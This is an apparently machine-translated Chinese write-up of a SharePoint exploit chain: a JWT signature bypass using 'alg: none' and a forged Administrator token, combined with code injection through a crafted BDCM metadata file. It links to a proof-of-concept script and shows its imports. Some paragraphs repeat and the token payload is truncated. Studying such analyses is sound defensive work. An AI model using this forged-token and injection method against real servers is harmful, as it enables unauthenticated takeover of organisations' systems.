-
身份验证绕过 - 未经身份验证的攻击者可以通过欺骗有效的 JSON Web Tokens (JWT) 来冒充任何 SharePoint 用户,并使用 none 签名算法在验证所使用的 JWT 令牌时破坏签名验证检查用于 OAuth 身份验证。 -
任意代码执行 – 具有 Sharepoint Owners 权限的 SharePoint 用户可以通过替换 Web 根目录中的 /BusinessDataMetadataCatalog/BDCMetadata.bdcm 文件来注入任意代码,从而导致编译注入的代码到随后由 SharePoint 执行流程中。
漏洞 #1:
SharePoint 应用程序身份验证绕过
身份认证模块 | 以class处理 |
---|---|
FederatedAuthentication | SPFederationAuthenticationModule |
SessionAuthentication | SPSessionAuthenticationModule |
SPApplicationAuthentication | SPApplicationAuthenticationModule |
SPWindowsClaimsAuthentication | SPWindowsClaimsAuthenticationHttpModule |
我开始一一的分析这些模块,然后我在身份验证模块SPApplicationAuthenticationModule中发现了有意思的内容。如下,为Http事件,使用的是SPApplicationAuthenticationModule.AuthenticateRequest():
namespace Microsoft.SharePoint.IdentityModel
{
internal sealed class SPApplicationAuthenticationModule : IHttpModule
{
public void Init(HttpApplication context)
{
if (context == null)
{
throw new ArgumentNullException("context");
}
context.AuthenticateRequest += this.AuthenticateRequest;
context.PreSendRequestHeaders += this.PreSendRequestHeaders;
}
//...
}
//...
}
(这段代码是C#编写的,是Microsoft.SharePoint.IdentityModel命名空间中的一个类定义。这个类叫做SPApplicationAuthenticationModule,它实现了IHttpModule接口。这个类被标记为internal,意味着它只能在它所在的程序集中访问。它还被标记为sealed,意味着这个类不能被继承。在Init方法中,这个类注册了两个事件处理程序:AuthenticateRequest和PreSendRequestHeaders。这意味着当这些事件在HttpApplication对象上触发时,相应的处理方法(可能是这个类中的其他方法)将被调用。Init方法是IHttpModule接口的一部分,它在ASP.NET应用程序的生命周期中负责初始化模块。在ASP.NET中,模块可以用来扩展应用程序的请求处理管道,提供各种功能,如身份验证、授权、会话管理等。)
就是说,每次我们尝试向 SharePoint 站点发送 HTTP 请求时,都会调用此方法来处理身份验证逻辑!
仔细看看SPApplicationAuthenticationModule.AuthenticateRequest()方法,其中SPApplicationAuthenticationModule.ShouldTryApplicationAuthentication()会被调用来检查当前URL是否允许使用OAuth作为身份验证方法:
private void AuthenticateRequest(object sender, EventArgs e)
{
if (!SPApplicationAuthenticationModule.ShouldTryApplicationAuthentication(context, spfederationAuthenticationModule)) // [1]
{
spidentityReliabilityMonitorAuthenticateRequest.ExpectedFailure(TaggingUtilities.ReserveTag(18990616U), "Not an OAuthRequest.");
//...
}
else
{
bool flag = this.ConstructIClaimsPrincipalAndSetThreadIdentity(httpApplication, context, spfederationAuthenticationModule, out text); // [2]
if (flag)
{
//...
spidentityReliabilityMonitorAuthenticateRequest.Success(null);
}
else
{
//...
OAuthMetricsEventHelper.LogOAuthMetricsEvent(text, QosErrorType.ExpectedFailure, "Can't sign in using token.");
}
//...
}
//...
}
在上面第三行1的位置,如果请求 URL 包含以下模式之一,则将允许使用 OAuth 身份验证:
-
/_vti_bin/client.svc
-
/_vti_bin/listdata.svc
-
/_vti_bin/sites.asmx
-
/_api/
-
/_vti_bin/ExcelRest.aspx
-
/_vti_bin/ExcelRest.ashx
-
/_vti_bin/ExcelService.asmx
-
/_vti_bin/PowerPivot16/UsageReporting.svc
-
/_vti_bin/DelveApi.ashx
-
/_vti_bin/DelveEmbed.ashx
-
/_layouts/15/getpreview.ashx
-
/_vti_bin/wopi.ashx
-
/_layouts/15/userphoto.aspx
-
/_layouts/15/online/handlers/SpoSuiteLinks.ashx
-
/_layouts/15/wopiembedframe.aspx
-
/_vti_bin/homeapi.ashx
-
/_vti_bin/publiccdn.ashx
-
/_vti_bin/TaxonomyInternalService.json/GetSuggestions
-
/_layouts/15/download.aspx
-
/_layouts/15/doc.aspx
-
/_layouts/15/WopiFrame.aspx
SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity()
将被调用以继续处理第10行代码[2]的部分.SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity()
方法的相关代码如下所示:private bool ConstructIClaimsPrincipalAndSetThreadIdentity(HttpApplication httpApplication, HttpContext httpContext, SPFederationAuthenticationModule fam, out string tokenType)
{
//...
if (!this.TryExtractAndValidateToken(httpContext, out spincomingTokenContext, out spidentityProofToken)) // [3]
{
ULS.SendTraceTag(832154U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Medium, "SPApplicationAuthenticationModule: Couldn't find a valid token in the request.");
return false;
}
//...
if (spincomingTokenContext.TokenType != SPIncomingTokenType.Loopback && httpApplication != null && !SPSecurityTokenServiceManager.LocalOrThrow.AllowOAuthOverHttp && !Uri.UriSchemeHttps.Equals(SPAlternateUrl.ContextUri.Scheme, StringComparison.OrdinalIgnoreCase)) // [4]
{
SPApplicationAuthenticationModule.SendSSLRequiredResponse(httpApplication);
}
JsonWebSecurityToken jsonWebSecurityToken = spincomingTokenContext.SecurityToken as JsonWebSecurityToken;
//...
this.SignInProofToken(httpContext, jsonWebSecurityToken, spidentityProofToken); // [5]
//...
}
上面代码中 [4] 和 [5]将在后面讨论。
在 [3] ,SPApplicationAuthenticationModule.TryExtractAndValidateToken()
方法将尝试从 HTTP 请求中解析身份验证令牌,并执行验证检查:
private bool TryExtractAndValidateToken(HttpContext httpContext, out SPIncomingTokenContext tokenContext, out SPIdentityProofToken identityProofToken)
{
//...
if (!this.TryParseOAuthToken(httpContext.Request, out text)) // [6]
{
return false;
}
//...
if (VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenProofToken) && this.TryParseProofToken(httpContext.Request, out text2))
{
SPIdentityProofToken spidentityProofToken = SPIdentityProofTokenUtilities.CreateFromJsonWebToken(text2, text); // [7]
}
if (VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenProofToken) && !string.IsNullOrEmpty(text2))
{
Microsoft.IdentityModel.Tokens.SecurityTokenHandler identityProofTokenHandler = SPClaimsUtility.GetIdentityProofTokenHandler();
StringBuilder stringBuilder = new StringBuilder();
using (XmlWriter xmlWriter = XmlWriter.Create(stringBuilder))
{
identityProofTokenHandler.WriteToken(xmlWriter, spidentityProofToken); // [8]
}
SPIdentityProofToken spidentityProofToken2 = null;
using (XmlReader xmlReader = XmlReader.Create(new StringReader(stringBuilder.ToString())))
{
spidentityProofToken2 = identityProofTokenHandler.ReadToken(xmlReader) as SPIdentityProofToken;
}
ClaimsIdentityCollection claimsIdentityCollection = null;
claimsIdentityCollection = identityProofTokenHandler.ValidateToken(spidentityProofToken2); // [9]
tokenContext = new SPIncomingTokenContext(spidentityProofToken2.IdentityToken, claimsIdentityCollection);
identityProofToken = spidentityProofToken2;
tokenContext.IsProofTokenScenario = true;
SPClaimsUtility.VerifyProofTokenEndPointUrl(tokenContext); // [10]
SPIncomingServerToServerProtocolIdentityHandler.SetRequestIncomingOAuthIdentityType(tokenContext, httpContext.Request);
SPIncomingServerToServerProtocolIdentityHandler.SetRequestIncomingOAuthTokenType(tokenContext, httpContext.Request);
}
}
TryParseOAuthToken()
方法将尝试从 HTTP 请求中检索 OAuth 访问令牌来自查询字符串参数 access_token
或 Authorization
标头,并将其存储到 text
变量中。GET /_api/web/ HTTP/1.1
Connection: close
Authorization: Bearer <access_token>
User-Agent: python-requests/2.27.1
Host: sharepoint
SPIdentityProofTokenUtilities.CreateFromJsonWebToken() 方法。
SPIdentityProofTokenUtilities.CreateFromJsonWebToken()方法的相关代码如下所示
internal static SPIdentityProofToken CreateFromJsonWebToken(string proofTokenString, string identityTokenString)
{
RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler nonValidatingJsonWebSecurityTokenHandler = new RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler();
SecurityToken securityToken = nonValidatingJsonWebSecurityTokenHandler.ReadToken(proofTokenString); // [11]
if (securityToken == null)
{
ULS.SendTraceTag(3536843U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Unexpected, "CreateFromJsonWebToken: Proof token is not a valid JWT string.");
throw new InvalidOperationException("Proof token is not JWT");
}
SecurityToken securityToken2 = nonValidatingJsonWebSecurityTokenHandler.ReadToken(identityTokenString); // [12]
if (securityToken2 == null)
{
ULS.SendTraceTag(3536844U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Unexpected, "CreateFromJsonWebToken: Identity token is not a valid JWT string.");
throw new InvalidOperationException("Identity token is not JWT");
}
//...
JsonWebSecurityToken jsonWebSecurityToken = securityToken2 as JsonWebSecurityToken;
if (jsonWebSecurityToken == null || !jsonWebSecurityToken.IsAnonymousIdentity())
{
spidentityProofToken = new SPIdentityProofToken(securityToken2, securityToken);
try
{
new SPAudienceValidatingIdentityProofTokenHandler().ValidateAudience(spidentityProofToken); // [13]
return spidentityProofToken;
}
//...
}
//...
}
上面部分可以推断出access token令牌(作为identityTokenString参数传递)和proof token令牌(作为proofTokenString参数传递)都算是JSON Web令牌(JWT)。
RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler 类型的实例被初始化,以便在 [11] 调用 nonValidatingJsonWebSecurityTokenHandler.ReadToken() 方法之前执行令牌解析和验证。
RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler 类型是 JsonWebSecurityTokenHandler 的子类型。由于 RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler 未重写 ReadToken() 方法,因此调用 nonValidatingJsonWebSecurityTokenHandler.ReadToken() 方法等效于调用 JsonWebSecurityTokenHandler.ReadToken()(JsonWebSecurityTokenHandler.ReadTokenCore() 方法的包装函数)。
验证访问和证明令牌的 JsonWebSecurityTokenHandler 相关代码分别显示在 [11] 和 [12] 中,如下所示
public virtual SecurityToken ReadToken(string token)
{
return this.ReadTokenCore(token, false);
}
public virtual bool CanReadToken(string token)
{
Utility.VerifyNonNullOrEmptyStringArgument("token", token);
return this.IsJsonWebSecurityToken(token);
}
private bool IsJsonWebSecurityToken(string token)
{
return Regex.IsMatch(token, "^[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]*$");
}
private SecurityToken ReadTokenCore(string token, bool isActorToken)
{
Utility.VerifyNonNullOrEmptyStringArgument("token", token);
if (!this.CanReadToken(token)) // [14]
{
throw new SecurityTokenException("Unsupported security token.");
}
string[] array = token.Split(new char[] { '.' });
string text = array[0]; // JWT Header
string text2 = array[1]; // JWT Payload (JWS Claims)
string text3 = array[2]; // JWT Signature
Dictionary<string, string> dictionary = new Dictionary<string, string>(StringComparer.Ordinal);
dictionary.DecodeFromJson(Base64UrlEncoder.Decode(text));
Dictionary<string, string> dictionary2 = new Dictionary<string, string>(StringComparer.Ordinal);
dictionary2.DecodeFromJson(Base64UrlEncoder.Decode(text2));
string text4;
dictionary.TryGetValue("alg", out text4); // [15]
SecurityToken securityToken = null;
if (!StringComparer.Ordinal.Equals(text4, "none")) // [16]
{
if (string.IsNullOrEmpty(text3))
{
throw new SecurityTokenException("Missing signature.");
}
SecurityKeyIdentifier signingKeyIdentifier = this.GetSigningKeyIdentifier(dictionary, dictionary2);
SecurityToken securityToken2;
base.Configuration.IssuerTokenResolver.TryResolveToken(signingKeyIdentifier, out securityToken2);
if (securityToken2 == null)
{
throw new SecurityTokenException("Invalid JWT token. Could not resolve issuer token.");
}
securityToken = this.VerifySignature(string.Format(CultureInfo.InvariantCulture, "{0}.{1}", new object[] { text, text2 }), text3, text4, securityToken2);
}
//...
}
在 [14] 中,首先调用 JsonWebSecurityTokenHandler.CanReadToken() 方法以确保令牌与正则表达式 ^[A-Za-z0-9-]+.[A-Za-z0-9-]+.[A-Za-z0-9-_]*$ 匹配。这会检查用户提供的令牌是否类似于有效的 JWT 令牌,其中每个部分(即标头、有效负载和签名)都是 Base64 编码的。
然后,提取JWT令牌的标头、payload和签名部分。在将标头和payload部分解析为JSON对象之前,对其进行Base64解码。
在[15]中,alg字段(即签名算法)从标头部分中提取。例如,如果Base64解码的标头部分为
{
"alg": "HS256",
"typ": "JWT"
}
所以这个身份验证绕过漏洞的根本原因的第一部分可以在[16]中找到——在验证提供的JWT令牌的签名时存在逻辑缺陷。如果alg字段没有设置为none,则调用VerifySignature()方法来验证提供的JWT令牌的签名。但是,如果alg是none,则在JsonWebSecurityTokenHandler.ReadTokenCore()中会跳过签名验证检查。
回到[13],SPAudienceValidatingIdentityProofTokenHandler.ValidateAudience()对提供的证明令牌的头部部分的aud字段执行验证检查。
以下是aud字段的有效值的示例:
00000003-0000-0ff1-ce00-000000000000/splab@3b80be6c-6741-4135-9292-afed8df596af
aud字段的格式为<client_id>/<hostname>@<realm>:
对于所有SharePoint本地实例,将接受静态值00000003-0000-0ff1-ce00-000000000000作为有效的<client_id>。
<hostname>是指当前HTTP请求(例如splab)的SharePoint服务器的主机名。
可以通过向/_api/web/发送请求并使用Authorization头:Bearer来从WWW-Authenticate响应头中获取<realm>(例如3b80be6c-6741-4135-9292-afed8df596af)。
以下是用于获取构造有效aud字段所需的<realm>的HTTP请求示例:
GET /_api/web/ HTTP/1.1
Connection: close
User-Agent: python-requests/2.27.1
Host: sharepoint
Authorization: Bearer
HTTP响应会在WWW-Authenticate响应标头中包括<realm>
HTTP/1.1 401 Unauthorized
Content-Type: text/plain; charset=utf-8
//...
WWW-Authenticate: Bearer realm="3b80be6c-6741-4135-9292-afed8df596af",client_id="00000003-0000-0ff1-ce00-000000000000",trusted_issuers="00000003-0000-0ff1-ce00-000000000000@3b80be6c-6741-4135-9292-afed8df596af"
之后,将从用户提供的访问和验证令牌(access、proof)创建一个新的SPIdentityProfToken,到[8],SPClaimsUtility返回identityProofTokenHandler。GetIdentityProofTokenHandler()方法:
internal static SecurityTokenHandler GetIdentityProofTokenHandler()
{
//...
return securityTokenHandlerCollection.Where((SecurityTokenHandler h) => h.TokenType == typeof(SPIdentityProofToken)).First<SecurityTokenHandler>();
}
SPClaimsUtility.GetIdentityProofTokenHandler() 方法的实现意味着返回的 identityProofTokenHandler 将是 SPIdentityProofTokenHandler 的实例。
在 [9],identityProofTokenHandler.ValidateToken(spidentityProofToken2) 将流到 SPIdentityProofTokenHandler.ValidateTokenIssuer()。
在SPIdentityProofTokenHandler.ValidateTokenIssuer()方法中,请注意,如果令牌参数是哈希证明令牌,则将跳过对issuer字段的验证!
internal void ValidateTokenIssuer(JsonWebSecurityToken token)
{
bool flag = VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenHashedProofToken);
if (flag && SPIdentityProofTokenUtilities.IsHashedProofToken(token))
{
ULS.SendTraceTag(21559514U, SPJsonWebSecurityBaseTokenHandler.Category, ULSTraceLevel.Medium, "Found hashed proof tokem, skipping issuer validation.");
return;
}
//...
this.ValidateTokenIssuer(token.ActorToken.IssuerToken as X509SecurityToken, token.ActorToken.Issuer);
}
SPIdentityProofTokenUtilities.IsHashedProofToken()方法的实现如下所示
internal static bool IsHashedProofToken(JsonWebSecurityToken token)
{
if (token == null)
{
return false;
}
if (token.Claims == null)
{
return false;
}
JsonWebTokenClaim singleClaim = token.Claims.GetSingleClaim("ver");
return singleClaim != null && singleClaim.Value.Equals(SPServerToServerProtocolConstants.HashedProofToken, StringComparison.InvariantCultureIgnoreCase);
}
在JWT令牌的payload部分中将ver字段设置为hashedprooftoken,使SPIdentityProofTokenUtilities.IsHashedProofToken()方法返回true,从而允许对issuer字段验证检查进行颠覆。
回到[10],调用SPClaimsUtility.VerifyProofTokenEndPointUrl(tokenContext)来验证当前URL的哈希值。通过计算可以得出存储在JWT payload部分的endpointurl字段中的所需值:
base64_encode(sha256(request_url))
执行 SPApplicationAuthenticationModule.TryExtractAndValidateToken() 后,代码流至 SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity() 方法,并到达 [4]:将 JWT 令牌的有效负载部分中的 ver 字段设置为 hashedprooftoken,使 SPIdentityProofTokenUtilities.IsHashedProofToken() 方法返回 true,从而允许篡改发证人字段验证检查。
回到[10],调用SPClaimsUtility.VerifyProofTokenEndPointUrl(tokenContext)来验证当前URL的哈希值。通过计算可以得出存储在JWT payload部分的endpointurl字段中的所需值:
base64_encode(sha256(请求的网址))
执行SPApplicationAuthenticationModule.TryExtractAndValidateToken()后,代码将流至SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity()方法,并到达[4]
private bool ConstructIClaimsPrincipalAndSetThreadIdentity(HttpApplication httpApplication, HttpContext httpContext, SPFederationAuthenticationModule fam, out string tokenType)
{
//...
if (!this.TryExtractAndValidateToken(httpContext, out spincomingTokenContext, out spidentityProofToken)) // [3]
//...
if (spincomingTokenContext.TokenType != SPIncomingTokenType.Loopback && httpApplication != null && !SPSecurityTokenServiceManager.LocalOrThrow.AllowOAuthOverHttp && !Uri.UriSchemeHttps.Equals(SPAlternateUrl.ContextUri.Scheme, StringComparison.OrdinalIgnoreCase)) // [4]
{
SPApplicationAuthenticationModule.SendSSLRequiredResponse(httpApplication);
}
JsonWebSecurityToken jsonWebSecurityToken = spincomingTokenContext.SecurityToken as JsonWebSecurityToken;
//...
this.SignInProofToken(httpContext, jsonWebSecurityToken, spidentityProofToken); // [5]
如果 spincomingTokenContext.Type 不是 spincomingTokenContext.Loopback,并且当前的 HTTP 请求不是通过 SSL 加密的,则将抛出异常。因此,需要在伪造的 JWT 令牌中设置 isloopback 声明为 true,以使 spincomingTokenContext.Type == spincomingTokenContext.Loopback,从而确保不会抛出异常,代码继续正常执行。
随后,在[5]处,令牌将被传递到SPApplicationAuthenticationModule.SignInProofToken()。
private void SignInProofToken(HttpContext httpContext, JsonWebSecurityToken token, SPIdentityProofToken proofIdentityToken)
{
SecurityContext.RunAsProcess(delegate
{
Uri contextUri = SPAlternateUrl.ContextUri;
SPAuthenticationSessionAttributes? spauthenticationSessionAttributes = new SPAuthenticationSessionAttributes?(SPAuthenticationSessionAttributes.IsBrowser);
SecurityToken securityToken = SPSecurityContext.SecurityTokenForProofTokenAuthentication(proofIdentityToken.IdentityToken, proofIdentityToken.ProofToken, spauthenticationSessionAttributes);
IClaimsPrincipal claimsPrincipal = SPFederationAuthenticationModule.AuthenticateUser(securityToken);
//...
});
}
-
Header: {"alg": "none"}
-
Payload: {"iss":"00000003-0000-0ff1-ce00-000000000000","aud": "00000003-0000-0ff1-ce00-000000000000/splab@3b80be6c-6741-4135-9292-afed8df596af","nbf":"1673410334","exp":"1693410334","nameid":"c#.w|Administrator", "http://schemas.microsoft.com/sharepoint/2009/08/claims/userlogonname":"Administrator", "appidacr":"0", "isuser":"0", "http://schemas.microsoft.com/office/2012/01/nameidissuer":"AccessToken", "ver":"hashedprooftoken","endpointurl": "FVIwBWTuuWfszO7WYRZYiozMe8OaSaWO/wyDR3W6e94=","name":"f#xw|Administrator","identityprovider":"windOws:aaaaa","userid":"asaadasdIn0
-
SharePoint Service 用户不应是“内置管理员” -
此外,站点管理员用户不应是“内置管理员” -
只有“Farm管理员”需要成为SharePoint Server的“内置管理员”
漏洞 #2:
DynamicProxyGenerator.GenerateProxyAssembly() 中的任意代码执行
//Microsoft.SharePoint.BusinessData.SystemSpecific.WebService.DynamicProxyGenerator
public virtual Assembly GenerateProxyAssembly(DiscoveryClientDocumentCollection serviceDescriptionDocuments, string proxyNamespaceName, string assemblyPathAndName, string protocolName, out string sourceCode)
{
//...
CodeNamespace codeNamespace = new CodeNamespace(proxyNamespaceName); // [17]
//...
CodeCompileUnit codeCompileUnit = new CodeCompileUnit();
codeCompileUnit.Namespaces.Add(codeNamespace); // [18]
codeCompileUnit.ReferencedAssemblies.Add("System.dll");
//...
CodeDomProvider codeDomProvider = CodeDomProvider.CreateProvider("CSharp");
StringCollection stringCollection = null;
//...
using (TextWriter textWriter = new StringWriter(new StringBuilder(), CultureInfo.InvariantCulture))
{
CodeGeneratorOptions codeGeneratorOptions = new CodeGeneratorOptions();
codeDomProvider.GenerateCodeFromCompileUnit(codeCompileUnit, textWriter, codeGeneratorOptions);
textWriter.Flush();
sourceCode = textWriter.ToString(); // [19]
}
CompilerResults compilerResults = codeDomProvider.CompileAssemblyFromDom(compilerParameters, new CodeCompileUnit[] { codeCompileUnit }); // [20]
//...
}
这方法的主要逻辑是使用proxyNameSpace生成一个程序集。在[17]处,使用proxyNamespaceName参数初始化CodeNamespace的实例。然后,将此CodeNamespace实例添加到[18]处的codeCompileUnit.Namespaces中。之后,在[19]处,codeDomProvider.GenerateCodeFromCompileUnit()将使用包含我们的proxyNamespaceName的上述codeCompileUnit生成源代码,并将源代码存储在变量sourceCode中。
已发现对proxyNamespaceName参数未进行任何验证。因此,通过提供恶意输入作为proxyNamespaceName参数,可以将任意内容注入到要编译的代码中,以在[20]处生成要生成的程序集。
例如:
如果proxyNamespaceName是Foo,那么生成的代码是:
namespace Foo{}
但是如果为proxyNamespaceName参数提供了诸如Hacked{}命名空间Foo之类的恶意输入,则生成并编译以下代码:
namespace Hacked{
//Malicious code
}
namespace Foo{}
通过反射在WebServiceSystemUtility.GenerateProxyAssembly()中调用DynamicProxyGenerator.GenerateProxyAssembly()方法:
[ ]
public virtual ProxyGenerationResult GenerateProxyAssembly(ILobSystemStruct lobSystemStruct, INamedPropertyDictionary lobSystemProperties)
{
AppDomain appDomain = AppDomain.CreateDomain(lobSystemStruct.Name, new Evidence(new object[]
{
new Zone(SecurityZone.MyComputer)
}, new object[0]), setupInformation, permissionSet, new StrongName[0]);
object dynamicProxyGenerator = null;
SPSecurity.RunWithElevatedPrivileges(delegate
{
dynamicProxyGenerator = appDomain.CreateInstanceAndUnwrap(this.GetType().Assembly.FullName, "Microsoft.SharePoint.BusinessData.SystemSpecific.WebService.DynamicProxyGenerator", false, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, null, null, null, null); // [21]
});
Uri uri = WebServiceSystemPropertyParser.GetUri(lobSystemProperties, "WsdlFetchUrl");
string webServiceProxyNamespace = WebServiceSystemPropertyParser.GetWebServiceProxyNamespace(lobSystemProperties); // [22]
string webServiceProxyProtocol = WebServiceSystemPropertyParser.GetWebServiceProxyProtocol(lobSystemProperties);
WebProxy webProxy = WebServiceSystemPropertyParser.GetWebProxy(lobSystemProperties);
object[] array = null;
try
{
array = (object[])dynamicProxyGenerator.GetType().GetMethod("GenerateProxyAssemblyInfo", BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic).Invoke(dynamicProxyGenerator, new object[] { uri, webServiceProxyNamespace, webServiceProxyProtocol, webProxy, null, httpAuthenticationMode, text, text2 }); // [23]
}
//...
反射调用可以在[21]和[23]中找到。
在 [22] 处,proxyNamespaceName 是从方法 WebServiceSystemPropertyParser.GetWebServiceProxyNamespace() 检索的,该方法检索当前 LobSystem 的 WebServiceProxyNamespace 属性:
internal static string GetWebServiceProxyNamespace(INamedPropertyDictionary lobSystemProperties)
{
//...
string text = lobSystemProperties["WebServiceProxyNamespace"] as string;
if (!string.IsNullOrEmpty(text))
{
return text.Trim();
}
//...
}
为了访问WebServiceSystemUtility.GenerateProxyAssembly()方法,发现Microsoft.SharePoint.BusinessData.MetadataModel.ClientOM.实体可以使用 Execute() 方法。如稍后所述,此 Entity.Execute() 方法还可以用于加载生成的程序集并在生成的程序集中实例化类型,从而允许远程代码执行。
Microsoft.SharePoint.BusinessData.MetadataModel.ClientOM 的相关代码。实体Execute()方法如下所示
...
[// [24] ]
...
internal MethodExecutionResult Execute([ClientCallableConstraint(FixedId = "1", Type = ClientCallableConstraintType.NotNull)] [ClientCallableConstraint(FixedId = "2", Type = ClientCallableConstraintType.NotEmpty)] string methodInstanceName, [ClientCallableConstraint(FixedId = "3", Type = ClientCallableConstraintType.NotNull)] LobSystemInstance lobSystemInstance, object[] inputParams) // [25]
{
if (((ILobSystemInstance)lobSystemInstance).GetLobSystem().SystemType == SystemType.DotNetAssembly) // [26]
{
throw new InvalidOperationException("ClientCall execute for DotNetAssembly lobSystem is not allowed.");
}
//...
this.m_entity.Execute(methodInstance, lobSystemInstance, ref array); // [27]
}
在 [24] 处,由于该方法具有 [ClientCallableMethod] 属性,因此可通过 SharePoint REST API 访问该方法。在 [26] 处有一个检查,以确保在 [27] 处调用该.m_entity.Execute() 之前,LobSystem 的 SystemType 不等于 SystemType.DotNetAssembly。
然而,在这一点上有一个小障碍——在[25]中,如何获得LobSystemInstance的有效引用并通过REST API将其作为参数提供?事实证明,使用客户端查询功能,可以通过使用由BCSObjectFactory构造的对象标识来引用所需的LobSystemInstance。本质上,使用客户端查询功能允许调用具有[ClientCallableMethod]属性的任何方法,并允许提供对象引用等非平凡参数。
例如,可以使用以下请求体向 /_vti_bin/client.svc/ProcessQuery 发出请求,以获取所需 LobSystemInstance 的引用
<Identity Id="17" Name="<random guid>|4da630b6-36c5-4f55-8e01-5cd40e96104d:lsifile:jHRORCVc,jHRORCVc" />
下面解释了上述payload中使用的静态值:
4da630b6-36c5-4f55-8e01-5cd40e96104d 指的是 BCSObjectFactory.GetObjectById.(). 获取对象ID时使用的类型ID。
lsifile将从BDCMetaCatalog文件中返回LobSystemInstance
BDCMetaCatalog 指 Business Data Connectivity 元数据 (BDCM) 目录,LobSystem 和实体对象存储在 BDCM 目录中。BDCM 目录的数据可以存储在数据库中,也可以存储在位于 SharePoint 网站 URL 根目录下的 /BusinessDataMetadataCatalog/BDCMetadata.bdcm 文件。
在分析BCSObjectFactory. Mixer. GetObjectById()时,发现可以从BDCM目录文件中构造和获取LobSystem、LobSystemInstance和实体的引用。
幸运的是,可以写入BDCM目录文件。这意味着可以插入任意LobSystem对象,并且可以指定LobSystem对象中的任意Property对象,例如WebServiceProxyNamespace属性。因此,通过LobSystem对象的WebServiceProxyNamespace属性进行代码注入,可以将任意代码注入生成的程序集中。
回到[27],这个m_entity可以是Microsoft.SharePoint.BusinessData.MetadataModel的实例。动态DataClass或Microsoft.SharePoint.BusinessData.MetadataModel。静止的无论如何,这两种方法最终都会调用Microsoft.SharePoint.BusinessData.Runtime.DataClassRuntime.Execute()。
随后,DataClassRuntime.Execute()将调用DataClassRuntime.ExecuteInternal() -> ExecuteInternalWithAuthNFailureRetry() -> WebServiceSystemUtility.ExecuteStatic()
public override void ExecuteStatic(IMethodInstance methodInstance, ILobSystemInstance lobSystemInstance, object[] args, IExecutionContext context)
{
//...
if (!this.initialized)
{
this.Initialize(lobSystemInstance); // [28]
}
object obj = lobSystemInstance.CurrentConnection;
bool flag = obj != null;
if (!flag)
{
try
{
obj = this.connectionManager.GetConnection(); // [29]
//...
}
//...
}
//...
}
在[28], 将调用WebServiceSystemUtility.Initialize():
protected virtual void Initialize(ILobSystemInstance lobSystemInstance)
{
INamedPropertyDictionary properties = lobSystemInstance.GetProperties();
//...
this.connectionManager = ConnectionManagerFactory.Value.GetConnectionManager(lobSystemInstance); // [30]
//...
}
在[30]处,ConnectionManagerFactory.Value.GetConnectionManager(lobSystemInstance)将初始化并返回当前LobSystem实例的ConnectionManager。使用WebServiceSystemUtility,this.connectionManager将是WebServiceConnectionManager的实例。
WebServiceConnectionManager的相关代码如下所示
public override void Initialize(ILobSystemInstance forLobSystemInstance)
{
//...
this.dynamicWebServiceProxyType = this.GetDynamicProxyType(forLobSystemInstance); // [31]
this.loadController = LoadController.GetLoadController(forLobSystemInstance) as LoadController;
}
protected virtual Type GetDynamicProxyType(ILobSystemInstance forLobSystemInstance)
{
Type type = null;
Assembly proxyAssembly = ProxyAssemblyCache.Value.GetProxyAssembly(forLobSystemInstance.GetLobSystem()); // [32]
INamedPropertyDictionary properties = forLobSystemInstance.GetProperties();
//...
}
在 [31],WebServiceConnectionManager.Initialize() 调用 WebServiceConnectionManager.GetDynamicProxyType(),后者在 [32] 调用 ProxyAssemblyCache.GetProxyAssembly(),以检索生成的程序集中的类型并将其存储在此.dynamicWebServiceProxyType 中。
在 [32] 处,ProxyAssemblyCache.GetProxyAssembly() 将调用 ICompositeAssemblyProvider.GetCompositeAssembly(),并将 LobSystem 实例作为参数。在此上下文中,compositeAssemblyProvider 是 LobSystem 的一个实例。
CompositeAssembly ICompositeAssemblyProvider.GetCompositeAssembly()
{
CompositeAssembly compositeAssembly;
ISystemProxyGenerator systemProxyGenerator = Activator.CreateInstance(this.SystemUtilityType) as ISystemProxyGenerator; // [33]
proxyGenerationResult = systemProxyGenerator.GenerateProxyAssembly(this, base.GetProperties()); // [34]
//...
}
在 [33],Web Service System Utility 的实例存储在 systemProxyGenerator 中,因此随后在 [34] 调用 Web Service System Utility.GenerateProxyAssembly()。此时,由于 LobSystem 是使用精心制作的 BDCMetadataCatalog 文件初始化的,因此攻击者可以控制 LobSystem 的属性,从而能够在生成的程序集中注入任意代码!
从 [32] 处的 ProxyAssemblyCache.GetProxyAssembly() 返回后,生成的程序集中的类型将被返回并存储到 this.dynamicWebServiceProxyType 中。在 [28] 处的 WebServiceSystemUtility.Initialize() 后,将在 [29] 调用 WebServiceConnectionManager.GetConnection()
public override object GetConnection()
{
//...
try
{
httpWebClientProtocol = (HttpWebClientProtocol)Activator.CreateInstance(this.dynamicWebServiceProxyType);
}
//...
}
此方法直接创建了 this.dynamicWebServiceProxyType 中指定的类型的新对象实例,该实例在 [18] 处执行了之前注入的(恶意)代码。
将这两个漏洞链接在一起,未经身份验证的攻击者能够在目标SharePoint服务器上实现远程代码执行(RCE)
CVE-2023-29357 & CVE-2023-24955 组合后的POC
测试效果如下
https://gist.github.com/testanull/dac6029d306147e6cc8dce9424d09868
# -*- coding: utf-8 -*-
import hashlib
import base64
import requests, string, struct, uuid, random, re
import sys
from collections import OrderedDict
from sys import version
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
